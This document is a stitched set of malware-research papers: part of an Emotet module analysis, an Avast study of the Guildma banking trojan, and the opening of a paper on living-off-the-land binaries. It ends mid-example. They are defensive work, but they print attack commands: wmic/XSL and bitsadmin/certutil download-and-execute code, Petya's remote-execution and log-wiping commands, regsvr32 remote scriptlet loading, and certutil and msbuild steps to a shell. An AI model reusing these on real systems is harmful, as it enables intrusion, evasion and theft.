When this module is executed, it checks for the presence of registry key HKLM\Software\Clients\Mail\Microsoft Outlook and then check value of DLLPathEx i.e. the path to the mapi32.dll module. If it is not found, the module does not proceed further. Microsoft has provided a group of APIs called MAPI (Microsoft Outlook Messaging API). These API gives an application access to emails and also can be used to steal contact lists. Module then creates a temporary file that is used to store the stolen Outlook information and email addresses that have been collected. It will encrypt the data and send the stolen information to its C&C server.
5.4 Emotet’s Spam Module (1339kb)

This is the largest emotet module dropped with size of 1Mb 339 kb. This module contains list of C&C. Contacting this C&C it receives list of email id which are target mail id’s for sending email. On daily basis spamming module is changed and it is dropped to specific locations. In India it is dropped frequently but for United States it is loaded rarely nowadays, the same is also confirmed by Cryptolaeamus1 group. It also uses template of genuine companies like Amazon, Vodafone etc. Also, language of these template is according to country like for Germany clients it sends mail in German language. This module also uses Google protocol buffer for communication with C&C. Indian infected hosts are mainly used to launch spam campaign. Spam module receives mail id’s and template (stolen from email clients) containing newly infected website links from spam server’s CnC. Further to these target mail ID’s (received from server) this module sends spam mails to infect new hosts. To prevent from spamming user can use two-factor authentication or use browser-based outlook.

5.5 Emotet’s Connection-Verifier (221kb):

This module is different than any other module emotet ever used. Mainly it contains functionality for port forwarding. It is our theory that it can also use this port to access system over public IP, if PC is connected over public IP.

```c
u12 = (int)"libminiupnpc";
var = (char *)u26;
*(u12) = (u8 + 11) = a0;
*(u12) = (u9 + 28) = a4;
while = a0;
*(u12) = u18 = "NewRemoteHost";
if ( \t); u12 = u16;
*(u12) = (u10, + b) = 0;
*(u12) = (u10, + b) = "NewExternalPort";
*(u12) = u16 = u16;
*(u12) = (u10, + 16) = "NewProtocol";
*(u12) = (u10, + 20) = u8;
*(u12) = (u10, + 20) = "NewInstantPort";
*(u12) = (u10, + 32) = "NewInstantClient";
*(u12) = (u10, + 36) = u7;
*(u12) = (u10, + 40) = "NewEnabled";
*(u12) = (u10, + 40) = "t";
*(u12) = (u10, + 40) = "NewPortMappingDescription";
*(u12) = (u10, + 52) = u12;
*(u12) = (u10, + 56) = "NewLeaseDuration";
*(u12) = (u10, + 60) = "0";
*(u12) = u17 = sub1882450(u13, u16) (int)"addPortMapping", u10, (int)&u16);
if ( \t) {  
```

Figure 19. Emotet Port Forwarding

It Maps port from router to local port which later can also be used as C&C or to take remote access or to spread other malwares in these systems. Then it posts a request to /whoami.php to one of the module’s C2s such as 75.128.208.218:8080. By using this module emotet forward multiple ports to infected host on router using upnp. Such infected machines public IP and forwarded port is used in payload as CnC. So, when newly infected host connects to this CnC sever, it is actually connecting to previously infected host where port forwarding is done. We call such CnC as tier1 servers. This tier1 server get data from tier2 server. On client side if we nmap this tier1 CnC we may observe that dvr, ssh, smb, etc. services are running parallel on same public IP. This is because of port forwarding. We have also observed same IP list but different port as CnC.
6. Proposed solution

Its main(binary) binary updates itself in very short time frame. It has variation in these changing binaries, such that it makes difficult to detect this malware with traditional signature-based mechanism. We can counter this deadly malware at its main payload level by generating predefined filename for its self-copy. As mentioned above we have 9 lists for generating names and with the help of name generation algorithm we get unique filenames. Using one of these 9 file names Emotet drops itself at first level before performing any malicious activity. If we detect these files directly when dropped, it can stop the malware at its initial stage. Till now from mid-2018, we have observed thousands of emotet samples are distributed. By the time signature on any new sample is added, one more binary with some variation is already released by threat actors in the wild. On the other side lists used for name generation are updated rarely i.e. (As per our observation updated 9 times in a year). So, if we detect malware payload with this kind of names then we will surely be able to counter this malware at much better level. We just need to update this list used for name generation for latest payloads.

7. Conclusion

Emotet malware is primarily spreading through spam mail which has social engineering tricks to phish the user easily. The infection can be spread either via malicious script, macro-enabled document file, or malicious link. It also uses template of genuine companies like Amazon, Vodafone, etc. to look like a legitimate email to lure users to click the malicious files. Additionally, language of these template is chosen according to country like for Germany clients it sends mail in German language. Emotet has various capabilities like credential stealing, Email Harvesting, spamming, lateral spreading, launching other malwares. Emotet's main payload doesn't contain any of these capabilities, it's just a loader for all these modules. This time loader and modules separation done by threat-actor can help us to combat with this deadly malware at initial stage with proposed solution. As its always cat and mouse game between threat actors and security researchers, we expect evolution of Emotet to next step.

8. Acknowledgement

We would like to extend our sincere gratitude to the following people for their valuable contribution that has made writing this paper possible — Vallabh Chole, Preksha Saxena. Also, we are grateful to all members of Threat Lab — Quick Heal for their inputs and participation.

References

- http://www.upnp-hacks.org/igd.html
- https://developers.google.com/protocol-buffers/docs/encoding
- https://www.us-cert.gov/ncas/alerts/TA18-201A
Guildma: timers sent from hell

Adolf Středa, Luigino Camastra, Jan Vojtěšek / AVAST

Abstract

For several months now, we have been tracking a malware campaign called Guildma. Guildma is powerful combination of a RAT (remote access tool), spyware, password stealer and banker malware, mainly distributed via malicious attachments in phishing email campaigns.

The cybercriminals behind Guildma have primarily focused on targeting Brazilian users and services, but since May 2019 they have expanded their range and are now targeting more than 130 banks and 75 other web services around the world.

We estimate that the first versions of Guildma were created in 2015, based on the available clues in our analysis and previous research conducted on Guildma. Malware researchers have done some analysis of Guildma in the past, but only focused on the first stages of the malware. Our analysis provides detailed information about all of Guildma’s stages, module functionality, C&C servers, commands and a long list of targeted services and applications, as well as a description of the evolution of features.

Adolf Středa is a Reverse Engineer at Avast. He specializes in botnets, more specifically botnet communication analysis and information extraction. He is also a PhD student at the Faculty of Mathematics and Physics of the Charles University in Prague, Czech Republic, specializing in cryptography. So far, he has presented his research at SantaCrypt, AVAR, Botconf, and Virus Bulletin.

Luigino Camastra is a Malware Researcher at Avast. His main specialization is reverse engineering of PE files, identifying malware families, and writing detections rules. He is mainly interested in researching new malware families. Currently, he is a master degree student at Faculty of Information Technology at Czech Technical University with the specialization in IT security. So far, he has presented his research at APWG.
Introduction

The malware authors have used large amounts of domains, various infection and stealing techniques, and programming languages (Delphi, JS, VBS,...) during Guildma’s long existence, but, on the other hand, they also used the same or very similar code patterns like encryption algorithm and seeds, URL path format, variables or file names. With these patterns, we have been able to track the entire campaign with high accuracy, even if some parts of the malware or modules have been changed.

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

Originally, the campaign targeted Brazilian users and services, by spreading tailored phishing emails. However, we have spotted more than 26K affected users worldwide, this year.
Stage 0

The phishing emails used to spread Guildma are mainly sent through shady rented or purchased websites or using hacked websites, by installing or copying malicious PHP code, with mass mailing functions, to the website code. The malware authors usually use a custom PHP shell, based on a simple mail function with a specific header.

Figure 3. Example of a phishing email sent, with the malicious LNK file included in an attached archive folder

Figure 4. Characteristic headers highlighted, including suspicious X-Mailer value also used in other spam campaigns
Attached LNK file

The archive attached to the phishing email contains a malicious Shell Link (LNK) file, which as described above, is used as a downloader for the next stage. The LNK file opens a minimized Windows Management Instrumentation Command-line tool (wmic.exe) using the Command Shell (cmd.exe) to download and execute a next stage XSL file with a malicious payload (MITRE T1220 Squiblytwo Technique).

    LNK Target format:
    %ComSpec% /c start /MIN %SystemRoot%\system32\wbem\wmic os get <random strings> /format:"<url_to_xsl_file>" & exit

We also found an XSL file version that generates and executes the same command as the LNK files.

At the end of April 2019, the malware authors created a new LNK file version with an obfuscated target command and download URL occasionally pointing to the TOR network, which they probably did to avoid antivirus detections.

Stats for malicious LNK samples:

![Figure 5.](image)

Examples of LNK file names:

<table>
<thead>
<tr>
<th>Original name</th>
<th>Translation / Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>nf-e00127532011181.lnk</td>
<td>NF-e is an electronic invoice document used in Brazil</td>
</tr>
<tr>
<td>acordo-semparan.html.lnk</td>
<td>agreement.html.lnk</td>
</tr>
<tr>
<td>curriculum_completo_002.73569270.lnk</td>
<td>full_CV_002.73569270.lnk</td>
</tr>
<tr>
<td>nota_fiscal_eletronica.002817021827.lnk</td>
<td>NF-e is an electronic invoice document used in Brazil</td>
</tr>
<tr>
<td>abrir_documento63082628700.lnk</td>
<td>open_document63082628700.lnk</td>
</tr>
<tr>
<td>arquivo.gerado.em.03.01.2019.910.lnk</td>
<td>generated.archive03.01.2019.910.lnk</td>
</tr>
<tr>
<td>boletobradesco2786.pdf.lnk</td>
<td>Boleto is payment method in Brazil</td>
</tr>
</tbody>
</table>
XSL file

SHA256: 1a89b4c8079d007f155462a2cc7e5f9ac6d488abc5b167001ab676b62930b8

The main purpose of the included JavaScript payload is to download all of Guildma's modules and execute the first stage DLL module using default Windows tools and applications. The malicious JavaScript code is slightly obfuscated with the `fromCharCode` function or using public web-based obfuscators.

The deobfuscated download function uses the BITSAdmin tool to download the payload. The corresponding code, used up to version 138 of Guildma, is shown below:

```javascript
function Bxaki(url, file) {
    try {
        xshishShell.run("bitsadmin /transfer ms05 /priority foreground " + url + "+file=",0,true);
        return true;
    } catch (ex) {
        return false;
    }
}
```

Figure 6.

The authors updated the XSL file in version 139 of Guildma and added another Base-64 encoding layer, decoded using the certutil application at the end of April 2019:

```javascript
function Bxaki(url, file) {
    try {
        xshishShell.run("bitsadmin /transfer ms05 /priority foreground " + url + "+file="+file+".z",0,true);
        xshishShell.run("certutil -decode "+file+".z "+file+".true");
        return true;
    } catch (ex) {
        return false;
    }
}
```

Figure 7.

They also sometimes use simple obfuscation over parts of the Javascript code as of version 138, probably generated with free web-based obfuscator tools:

```javascript
var 0x6d66d4=\"\x72\x61\x6e\x66\x6f\x77\x64\x65\x64\x69\x66\x6f\x72\"
function radade(0x1f8402, 0x1f8403)(return Path([0x6d66d4[0]])(Path([0x6d66d4[1]])(Path([0x6d66d4[2]])(0)>(0x1f8402
var xshishShell=xshishShell(xshishShell,1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)
function Bxaki(0x1f8402, 0x1f8403)[](String[0x6d66d4[0]])(0)>(0x1f8402
var xshishShell=xshishShell(xshishShell,1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)var xshishShell=xshishShell(1223)
function Bxaki(0x1f8402, 0x1f8403)[](String[0x6d66d4[0]])(0)>
```

Figure 8.

The malicious JavaScript contains many unique and unusual variable and function names, including Lucifer and Astaroth, and the authors use the same names for a long time, without changing them.
Downloader URLs:

All the URLs are partially hard-coded and partially generated in JavaScript and the domains are changed almost every day. The authors renamed a download file extension to .zip.log from version 139.

URL Format:
http:\/\/\w+\d{7}\.\w+\.(website|pw|space|fun|site|xyz|club|com):250\d{2}\/\d{2}\/\w+(a|b|c|dwn|dx|e|f|g|gx|xa|xb|98|hh)\.(jpg|gif|dll)\.(\..log)?\?\d{9}

Example:
hxxp://q239hEFLK1379515.cavaleira1.website:25013/09/rakpat0rpcackb.jpg.zip?505797016

We spotted version 139 of Guildma being hosted on Github by a user named winsvrx[1]. The account was created on March 29, 2019 and was actively maintained with almost 40 commits up until April 30, 2019, when the account was quickly removed by the Github security team after we discovered and reported it.

The authors then switched to Google Storage after the Github removal, and continued with active development and malware spreading. We also reported this to Google, and the bucket/service was removed.

Google Storage URL:

hxxps://storage.googleapis.com/ultramaker/

The authors updated the botnet in version 140 and switched to a new Google Storage URL in June 2019: hxxps://storage.googleapis.com/bradok/

Botnet version

The first interesting variable, smaeVar, probably indicates a campaign version, release month or just directory names for a different set of URLs. The malware authors used 03, 04, 06, 07, 08, 09 directories for the campaign hosted on Github and Google Storage.

The second variable, skvidro, indicates a version of the malware and as of the end of April 2019, it is version 139. The malware authors also change the download directory with every new version, stored in the sVarRaz variable.

Module execution

The first module (64) is executed using the regsrv32 tool, after all other modules are successfully downloaded.

```
C:\\Users\\Public\\libraries\\awsvideos
```

Figure 9.
The malware authors abused [1] our binary file aswrundll.exe for this purpose at the end of 2018, but our developers quickly fixed it and this technique is no longer possible.

**Modules**

The Guildma binaries are separated into various stages and modules. Some modules are simply encrypted and all modules are also Base64 encoded as of version 139 of the malware.

**Download directory format:**

c:\users\public\libraries\<campaign_download_dir>

The current campaign download directory is temporary, previously it was awsvideos and raptor.

**Module file names format:**
campaign_file_name(64|98|xa|xb|dwnn|dx|gx|a|b|c|e|f|g).~|.gif|.jpg

We will refer to these modules by their respective suffix, although we also provide an alternative label that should capture the module's basic functionality. The loading order of modules is shown on the picture below:

![Diagram of module order](image1.png)

**File names example:**
Rakpat0rpcack64.~, rakpat0rpcack98.~, rakpat0rpcackxa.~, rakpat0rpcackxb.~, rakpat0rpcackdwnn.gif, rakpat0rpcackdx.gif, rakpat0rpcackg.gif, rakpat0rpcackgx.gif, rakpat0rpcacka.jpg, rakpat0rpcackb.jpg, rakpat0rpcackc.jpg, rakpat0rpcacke.jpg, rakpat0rpcackf.jpg
Modules with GIF and JPG extensions are “encrypted” using the weak Shift-XOR algorithm based on seed. A couple of different seed values were used through several versions.

```python
def shift_xor(seed, data):
    return [(seed >> i) % 256 ^ ord(data[i]) for i in range(0, len(data))]
```

The decrypted samples probably have zero padding as they are UPX packed. This property may be exploited to recover the keystream and decrypt the files, even though we do not know the seed. Let us have a look at the end of one such encrypted file:

We can easily see a repeating sequence, as the seed is a double-word, of 32 bytes. Assuming that this file has to be padded by zeros we arrive to a conclusion that the 32 bytes are our keystream. And indeed, the extracted keystream allowed us to successfully decrypt the encrypted modules.

The modules mostly used a two-level C&C server structure, which means a hard-coded server is contacted in order to retrieve the address of the C&C responsible for the respective module. Interestingly, there are several patterns present in the first-level domains. After tracking the malware domains for some time, we noticed some patterns in the used domains. For instance, the first-level domains often contained strings like `sisssnettx`, `valhalax`, `aventadorx`, `ducasy`, `megatronico`, `sergulath` (name of a demon), `thelucifer` (Lucifer — Prince of Hell), `thestaroth` (Astaroth — Great Duke of Hell). Interestingly, the cream of hell’s society seems to be a recurring motive — aside from these domains, these names also appeared in the initial scripts.

The query for the second-level C&C server is usually a simple HTTP GET request to:

```
http://<first-level C&C domain>/09/dsct.txt
```

The response contains the second-level domain encrypted by a simple ROT-7 cipher with a custom alphabet:

```
UVZabcdefgijklm23Atuvxyz!@#$%8FYNÄOPQR=-><;.014567pqrBCSTnoGHI?/
\"~[{}3KLMCWX&*()_+DEâš9
```

Characters that are not in the alphabet are kept as they are.

For the majority of modules, a high amount of interdependent timers is a common pattern. We assume that this pattern is induced by the usage of Delphi IDE, where setting up timers is a matter of drag&drop and few simple lines of code, making it a straightforward way of achieving asynchronicity. These timers often use labels to store and pass information between themselves. If communication between modules is necessary, it is mostly facilitated by files, both by passing content and using files themselves as indicators (flag files).
The modules also share some design patterns with known open source RATs like *Delphi Remote Access PC*, *AmigoRAT* or *PureRAT*.

The following sections will describe these modules in more detail. For the sake of readability, we have left out some implementation details. These may be found in the detailed analysis on the Avast Decoded blog [3].

**Modules 64, 98 (Loaders)**

Both modules act as loaders, the first one prepares two modules: XA and XB using old 16-bit kernel functions, like `_lopen`, `_lread` and `_lclose`. The second one merges these two prepared blobs, reconstructs the injector module (Module XA+XB) in the memory and executes it. Module 64 also tried to use a fake and invalid Avast certificate in the module’s binaries in version 139.

![Certificate](image)

**Figure 14.**

**Module XA+XB (Injector)**

The primary purpose of this module is to inject the second injector module (module GX) into one of the targeted files. The default targeted file is a system application, `userinit.exe`. The second targeted file is part of the GAS Tecnologia protection tool, Warsaw. The malware authors use a simple, common technique using the `CreateProcess > SetContext > ResumeThread` combo, where the malicious code runs in the context of another process.

This module runs in an endless loop and watches the injection result through the core module (module G) window name, every 852 seconds. If the window is not found, the module performs a new injection.
Module GX (2nd Injector)

Module GX is a final loader for core module (module G) inside the injected process memory from the previous stage. Like module XA+XB, an endless loop checking for module G window is used as a status check.

The module’s memory DLL loading, relocation, and import table reconstruction code is based on a public BTMemoryModule created by Martin Offenwanger\[^4\].

Module G (Core module)

This is the core module that crawls through the infected computer to find banking-application related files, windows that may belong to these applications and even browser windows with opened e-banking sites. Depending on the specific case, a module may be loaded or injected to further interact with a particular window. The implementation of this module relies heavily on many interdependent timers, effectively using more than 16 timers. We have assigned descriptive aliases to these timers to better communicate their purpose.

![Diagram](image)

**Figure 15.** Timer interactions: green arrow — enables, red arrow — disables, green frame — enabled after initialization. Note that some of these arrows may be conditional.

Screenshotting (both entire desktop and of a chosen window) and various forms of keylogging are also supported. This module also creates various lock-files and serializes some of the data to be used by other modules. Moreover, limited bot capabilities, mostly related to data exfiltration and configuration, are supported.
Various files are created by this module: a log file `<malware_version>guild.log`, a configuration file `pblqxx<time dd.mm>.ini` (if `pblqrr<time dd.mm>.ini` does not exist), and plethora of flag files depending on the detected software (mostly of the form `xconf<number>.log` and `hd<log_number>sys<a|b|c|d>.log`). These files are then used by executive modules (DWWN and DX) that trigger various features based on these files. The execution flow starts at T13 (watcher) that watches for interesting applications, triggering T14 (partisan) if such application is seen. T14 (partisan) then scans opened windows for a specific sets of specific strings. One set triggers an injection of DX via process hollowing, the other one loads DWWN as a library.

This module also implements some basic anti-sandboxing tricks by checking the computer's NETBIOS name and volume ID against a hard-coded list of known names and IDs of various solutions (see Appendix A.1 for comprehensive list).

This module has undergone some development in recent versions. Originally, it was restricted to computers using Portuguese localization. This restriction was lifted and replaced by a restriction that excludes computers using English localization. Similarly, the module originally targeted banks in Brazil. Since version 139 the targeted region has been expanded to include more Latin American countries.

**Module E (Mailer module loader)**

This module loads and injects the mailer module (module F) into a targeted file. The main code is almost the same as in XA+XB, with the same targeted files (`userinit.exe`, `unins000.exe`) and injection technique.

Module E supports simple reinitialization (closing windows and deleting files created by module F). Mailer module may create a file `dybuk.block` that acts as a mutex preventing further loading of mailer module by this loader. The module also has an interesting feature that tries to find Windows error dialogues and close them using the `PostMessageA` function.

**Module F (Mailer)**

Module F is basically a mailer module that retrieves templates and dictionaries from the C&C server. Settings for the SMTP server are retrieved in the same way, i.e. they are not hard-coded. The module also supports some debugging features such as sending test-mails to a hard-coded address `pedro.aragao18@bol\[.]com.br`.

**Module C (Data extractor)**

Module C supports two features — form grabbing, enhanced by auto-logout for specific websites, and email-client data harvester. This harvester crawls through directories where several email clients store their data, extracts contained emails and after some filtering passes these addresses to its C&C server.

**Modules DWWN, DX (RATs)**

While the core module (module G) gathers information about running processes and creates files that either contain this data or indicate a presence of a specific process, these two modules utilise the provided information to target these processes, extract further information and pass it on to the C&C server. In contrast to the core module, this module produces extensive reporting and utilises its own browser window, positioned outside of the screen, to retrieve new information from the C&C server.
These modules also serve as a fully-fledged RAT, allowing the C&C to take screenshots, press keys, manipulate windows, download, and execute payloads.

Internally, all the functionality is orchestrated by Form A and its children (timers and spawned threads). Form B is mostly used as a target for commands processed by Thread A82. Form C contains a browser window that may be used to recover new data from the C&C, this is mostly handled by Timer A3. Timer A1, spawned from the Form A constructor, is responsible for the processing of files generated by module G and the module’s log processing. The RAT functionality is mostly handled by Thread A82 which starts querying the C&C server for commands and translates them into either user actions (download, execute, press key, …) or a change in the module’s internal configuration.

The DX module has the same source code as the DWWN module, but it is compiled as an EXE file and contains a TLS Directory. The reason for having the same two modules (DLL and EXE version) is because they have different use cases. The core module injects DX module into a predefined process or loads the DWWN module, like a dynamic library.

**Modules A, B (Password extractors)**

Module A and B corresponds to Nirsoft’s Mail PassView v1.78 and WebBrowserPassView v1.26, password recovery tools for email clients and browsers respectively. Old versions (from 2012) are probably used because Nirsoft disabled command line support for these tools in 2014 \[5\] \[6\].
Summary

Guildma is a highly modular and complex malware supporting a wide range of functionalities, and is currently undergoing rapid development, expanding the range of targeted banks, from Brazil to banks used in other Latin American countries. At some point, Guildma even tried to abuse Avast-related files for its functionality; fortunately, this was patched quickly and they had to find other means to carry out their malicious activities.

The malware itself was mostly written in Delphi, which is rather typical for Brazilian bankers. The implementation heavily relies on timers, that were heavily interdependent, and other form controls which are used to pass information between timers, making the analysis tedious. The original targeted region corresponds to strings that were present in the malware — which, with a few exceptions, e.g. xVRXastaroth (Astaroth, the Great Duke of Hell) and xLuciferxs, were written in Brazilian.

Appendix

A.1 Anti-sandboxing checks

<table>
<thead>
<tr>
<th>NETBIOS name</th>
<th>Volume ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>virus</td>
<td>42ED18C57DC3</td>
</tr>
<tr>
<td>sagat</td>
<td>6086A85F86C9</td>
</tr>
<tr>
<td>sakura</td>
<td>46EC0123DE62FS</td>
</tr>
<tr>
<td>zangief</td>
<td>23C8659C4298CB0A</td>
</tr>
<tr>
<td>malware</td>
<td>112BC37FB021A533</td>
</tr>
<tr>
<td>brbrb</td>
<td>C87EBF6D99C8</td>
</tr>
<tr>
<td>bisonwoo</td>
<td>B54DF922D775DA72B3</td>
</tr>
<tr>
<td>tequilaboomboom</td>
<td>A34DFD20D30E4C95A540FF3EF8598FB6</td>
</tr>
<tr>
<td>placeholfa</td>
<td>0124DF0E37AF2EA540F305</td>
</tr>
<tr>
<td>johnpc</td>
<td>708FB15585C61C</td>
</tr>
<tr>
<td>homeoffdfac</td>
<td>3DF02FD37FDD72E01728D96E</td>
</tr>
<tr>
<td>baed</td>
<td>53E00D3DE7</td>
</tr>
<tr>
<td>abcxp</td>
<td>29DF0D3FF151</td>
</tr>
<tr>
<td>—</td>
<td>2CD8749857F4</td>
</tr>
<tr>
<td>brbrbd</td>
<td>679C40ED26BB16</td>
</tr>
<tr>
<td>vmgclient</td>
<td>022DD5729333AA28C46C</td>
</tr>
<tr>
<td>luserpc</td>
<td>E70139E30FB21540</td>
</tr>
<tr>
<td>nyxmachine</td>
<td>25C60FC870E270E018D369</td>
</tr>
<tr>
<td>win-harry-test</td>
<td>—</td>
</tr>
</tbody>
</table>
Bibliography


Abstract

Living off the land is a clear trend that has emerged in targeted cyber attacks in recent times. To carry out these attacks, attackers are making use of tools already installed on targeted computers or are running simple scripts and shellcode directly in memory instead of using custom executable files. Creating fewer new files on the hard disk reduces the chance of being detected by traditional security tools and therefore minimizes the risk of an attack being blocked. This paper summarizes our experience in researching living off the land (LotL) binaries and scripts.

This article covers some of the most common questions about this trend:

- What are LotL binaries and scripts?
- How the technique works and how it is used by attackers?
- What approaches are often used in these attacks?
- What kind of challenges does traditional security software face against LotL attacks?
- What are the techniques to defeat LotL attacks?
**Introduction**

There has been a growing interest in fileless infection techniques over the past few years. Fileless malware is not a new concept. For example, the Code Red worm, which first appeared in 2001, resided solely in memory and did not write any files to disk. In 2014 there was yet another spike of fileless attacks, this time with fileless persistence methods used by threats such as Trojan Poweliks which resides completely in the Windows registry. In recent times, we have observed an increase in attackers utilizing living off the land tactics, where they use whatever tools are already installed on the targeted system. Attackers try to drop as few files as possible in order to avoid detection. By only using clean system tools, and not having a malicious binary file on disk that could be scanned, some traditional file-based security measures will struggle to detect and block these attack. Hence, a comprehensive protection strategy is needed to defend against these attacks.

Fileless memory-only attacks are also more difficult to analyze forensically in the aftermath of a breach. Some attackers are using anti-forensic tools, like the simple sdelete.exe, to wipe any files that are dropped. In these cases, only newer endpoint detection and response (EDR) solutions will be able to record any traces of the attack.

**Red team testing**

Red team testing is a full-scope, multi-layered attack simulation designed to measure how well a company’s people and networks, applications and physical security controls can withstand an attack from a real-life adversary. In basic terms, it’s “ethical hacking” a realistic way for independent security teams to accurately test how well an organization would fare in the face of a real attack. The premise of red teaming is comparable to the old sports saying, ‘the best offense is a good defense.’ During a red team engagement, highly trained security consultants enact attack scenarios to reveal the potential physical, hardware, software and human vulnerabilities. Red team engagements also identify opportunities for bad actors and malicious insiders to compromise company systems and networks or enable data breaches. In recent times we have seen a steep rise in usage of living off the land binaries for red team testing. This was one of the major factors which lead us to conduct our research on living off the land binaries.

**Problem faced in living off the land lands**

The techniques used in these red team testing have shown one clearly visible trend over the last number of years, and that is the so-called living off the land approach has gained in popularity. The testing methodology involves the use of trusted off-the-shelf and preinstalled system tools to conduct their attacks. Many of these tools are ubiquitous and used by system administrators for legitimate work. This makes it harder for defenders to completely block access to these programs and literally allows the attackers to hide in plain sight. Even when log files are generated it can be difficult to spot anomalies. The use of system tools and common cloud services for data exfiltration does not often ring alarm bells. Even in the event that an attack is discovered, the living off the land approach makes it difficult to attribute the attack to a specific attack group as all groups increasingly use similar techniques and tools.
Living off the land binaries

Attackers are increasingly making use of tools already installed on targeted computers or are running simple scripts and shellcode directly in memory. Creating fewer new files on the hard disk, or being completely fileless, means less chance of being detected by traditional security tools and therefore minimizes the risk of an attack being blocked. Using simple and clean dual-use tools allows the attacker to hide in plain sight among legitimate system administration work. The purpose of this project is to proactively research and identify common approaches that attackers use when carrying out living off the land attacks, and create ways to mitigate these attacks.

Typically, a file is called living off the land binary if it:

1. Is a Microsoft-signed file, either already present on the OS or downloaded from Microsoft.
2. Contains extra unexpected functionality.
3. Has functionality that would be useful to an APT group or red team

There are over a hundred LotL binaries, but we focused on the most prevalent and unsafe binaries in our research, those selected are listed as follows:

1. Certutil.exe
2. Eventvwr.exe
3. Msbuild.exe
4. Mshta.exe
5. Odbcconf.exe
6. Regasm.exe / Regsvcs.exe
7. Regsvr32.exe
8. Wmic.exe
9. Powershell.exe
10. Bitsadmin.exe
11. Wingding.ttf
12. Disk Cleanup
13. Werfault.exe

The follow are descriptions of some of these tools and the typical attacks that makes use them.

Certutil.exe

Certutil.exe is a Windows binary used for handling certificates. It can be used to download an encoded malicious payload from a URL and decode it.

Paths:

- C:\Windows\System32\certutil.exe
- C:\Windows\SysWOW64\certutil.exe

Functions:

1. Download
2. Encode [base64]
3. Decode [base64]
Attack description:

1. A malicious payload was encoded using Certutil.exe and uploaded to Pastebin.

   ![Encoded malicious payload](image1)

   Figure 1. Encoded malicious payload

2. A simple batch file (test1.bat) was created and send to the user.

   ![Batch file with malicious commands](image2)

   Figure 2. Batch file with malicious commands

3. When a user executes test1.bat, the following happens:
   a. Copy command was used to copy and renamed the certutil.exe to %Temp%.
   b. Renamed certutil.exe (zzz.exe) downloads a file from pastebin.com to %Temp%.
   c. Certutil decodes the file into its original format.
   d. forfiles.exe execute the malicious payload from %Temp%.

   ![Payload executed on victims' machines](image3)

   Figure 3. Payload executed on victims' machines
4. A meterpreter shell is opened to the C&C without any detection.

![Figure 4. Meterpreter shell at C&C side](image)

**MsBuild.exe**

Microsoft .NET framework comes with many tools that have the ability to compile and execute code. Originally MSBuild (Microsoft Build Engine) was introduced in order to enable developers to build products in environments where Visual Studio is not installed. Specifically, this binary can compile XML C# project files since it has a method called Tasks that can execute a task which is written in a managed code. However, since this method can take code and the MSBuild is a trusted Microsoft binary that can execute this code. It can be abused by an attacker in order to bypass AppLocker and other application whitelisting solutions like Device Guard.

**Paths:**

1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
2. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
3. C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
4. C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
5. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
6. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe

**Attack description:**

1. Create an MSbuildshell.csproj file

2. Save the file and execute one of the following commands to build the new exe:
   - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
   - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
3. Runs the new executable in cmd on the victim's machine

A procmon view of the process chain shows the various processes created by the executable.
4. The below process provides shell access to the victim’s machine.

![Figure 8. Shell of victims machine](image)

**Real word examples**

**Ransom.Petya**

On June 27, 2017, a modified version of Ransom.Petya quickly began infecting organizations primarily in Eastern Europe. The ransomware was exhibiting wiper characteristics and immediately gained the attention of both security experts and the media, as it was exploiting the SMB EternalBlue vulnerability just like Ransom.WannaCry did one month earlier.

![Figure 9. Top 20 countries based on numbers of affected organizations](image)

However, in addition, Petya also made heavy use of system commands during the infection process. To begin with, the threat arrived as a dll file that was executed using rundll32.exe:

```
rundll32.exe perfc.dat, #1
```
Once executed, Petya drops a recompiled version of LSADump from Mimikatz in a 32-bit and 64-bit variant, these are used to dump credentials from memory. The account credentials are then used to copy the threat to the Admin$ share of any computers the threat finds on the network. Once the threat accesses a remote system it will execute itself remotely using a dropped `PsExec.exe` and the WMI command-line tool `wmic.exe`:

```plaintext
wmic.exe /node:[IP Address] /user:[USERNAME] /password:[PASSWORD] process call create
"C:\Windows\System32\rundll32.exe \"C:\Windows\perfc.dat\" #1 60"
```

In order to hide its tracks on the compromised computer the threat deletes various system logs by using the `wevtutil` and `fsutil` commands:

```plaintext
wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usndeleetosjournal /D %c:
```

Petya then creates a scheduled task so that the computer restarts and runs the modified MBR and performs the final encryption task:

```plaintext
schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /i /F" /ST 14:42
```

This example shows how powerful system commands are and how they can be used during cyber attacks. Administrators should consider disabling the remote execution of `PsExec` and WMI commands, if possible, in their environments.

**Downloader.Dromedan**

In June 2017, we saw another wave of the prevalent Downloader.Dromedan dropper, resulting in around 40,000 detections on endpoints each day. After a successful infection the threat will create a registry run key with the name COM+ and the following value:

```plaintext
regsvr32 /s /u /i:%REMOTE_MALICIOUS_SCT_SCRIPT% scrobj.dll
```

This `regsvr32` command downloads the specified remote SCT file when the computer starts and runs the embedded obfuscated JavaScript directly from memory.

**Trojan.PPDropper**

A recently discovered PowerPoint file (Trojan.PPDropper) triggers a malicious PowerShell script when a user hovers over a link. The three key elements of the link as follows:

```plaintext
action="pplk://program"
